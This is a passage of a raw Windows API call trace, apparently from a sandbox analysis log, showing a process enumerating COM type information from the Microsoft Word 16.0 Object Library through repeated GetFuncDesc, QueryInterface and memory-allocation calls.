ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x8, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x9, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xa, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xb, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xc, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.905] IUnknown:Release (This=0x8087e90) returned 0x3 [0036.905] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x7f10e30 [0036.905] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x7f121d0 [0036.906] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x81b4780 [0036.906] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265968 | out: ppvObject=0x265968*=0x0) returned 0x80004002 [0036.906] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x265960, pDummy=0x10 | out: ppTypeAttr=0x265960, pDummy=0x10) returned 0x0 [0036.906] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2658d8 | out: ppvObject=0x2658d8*=0x0) returned 0x80004002 [0036.906] IUnknown:AddRef (This=0x8087e90) returned 0x4 [0036.906] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x2658d0, pDummy=0x10 | out: ppTypeAttr=0x2658d0, pDummy=0x10) returned 0x0 [0036.906] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.906] IUnknown:Release (This=0x8087e90) returned 0x3 [0036.906] strcpy_s (in: _Dst=0x8160328, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0036.906] IMalloc:Alloc (This=0x7feff045380, cb=0xc8) returned 0x82256f0 [0036.906] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x265890, pDummy=0x8087e90 | out: ppTypeAttr=0x265890, pDummy=0x8087e90*=0xff4207b0) returned 0x0 [0036.906] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x8087e90, ppTLib=0x265898, pIndex=0x2658d8 | out: ppTLib=0x265898*=0x7f887c0, pIndex=0x2658d8*=0x20e) returned 0x0 [0036.906] ITypeLib:RemoteGetLibAttr (in: This=0x7f887c0, ppTLibAttr=0x265588, pDummy=0x0 | out: ppTLibAttr=0x265588, pDummy=0x0) returned 0x0 [0036.906] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x2655a0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x31b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x31b) returned 0x0 [0036.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x265610, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB=w", lpUsedDefaultChar=0x0) returned 58 [0036.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x265720, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0036.907] ITypeLib:LocalReleaseTLibAttr (This=0x7f887c0) returned 0x0 [0036.907] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f07920 [0036.907] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8160520 [0036.907] IUnknown:AddRef (This=0x8087e90) returned 0x4 [0036.907] IUnknown:Release (This=0x7f887c0) returned 0xb [0036.907] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.907] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.907] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.907] IMalloc:Alloc (This=0x7feff045380, cb=0x14) returned 0x81b3a80 [0036.907] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.907] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f07d70 [0036.907] IMalloc:Free (This=0x7feff045380, pv=0x81b3a80) [0036.907] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x267148 | out: ppvObject=0x267148*=0x8087d30) returned 0x0 [0036.907] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267158 | out: pVarVal=0x267158*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.907] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.907] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267150, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267170 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267170*="") returned 0x0 [0036.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x267060, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.907] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.907] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x267150, pDummy=0x0 | out: ppTypeAttr=0x267150, pDummy=0x0) returned 0x0 [0036.907] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.907] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x0, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.907] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.907] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.907] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.907] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.907] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.907] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x10, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x11, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x12, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x13, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x14, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x15, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x16, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x17, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x18, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x19, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.908] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.908] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x20, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x21, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x22, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x23, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x24, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x25, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x26, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x27, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x28, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x29, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x30, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x31, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x32, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x33, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x34, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x35, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x36, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x37, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x38, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x39, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.909] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.909] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x40, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x41, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x42, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x43, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x44, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x45, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x46, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x47, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x48, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x49, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] 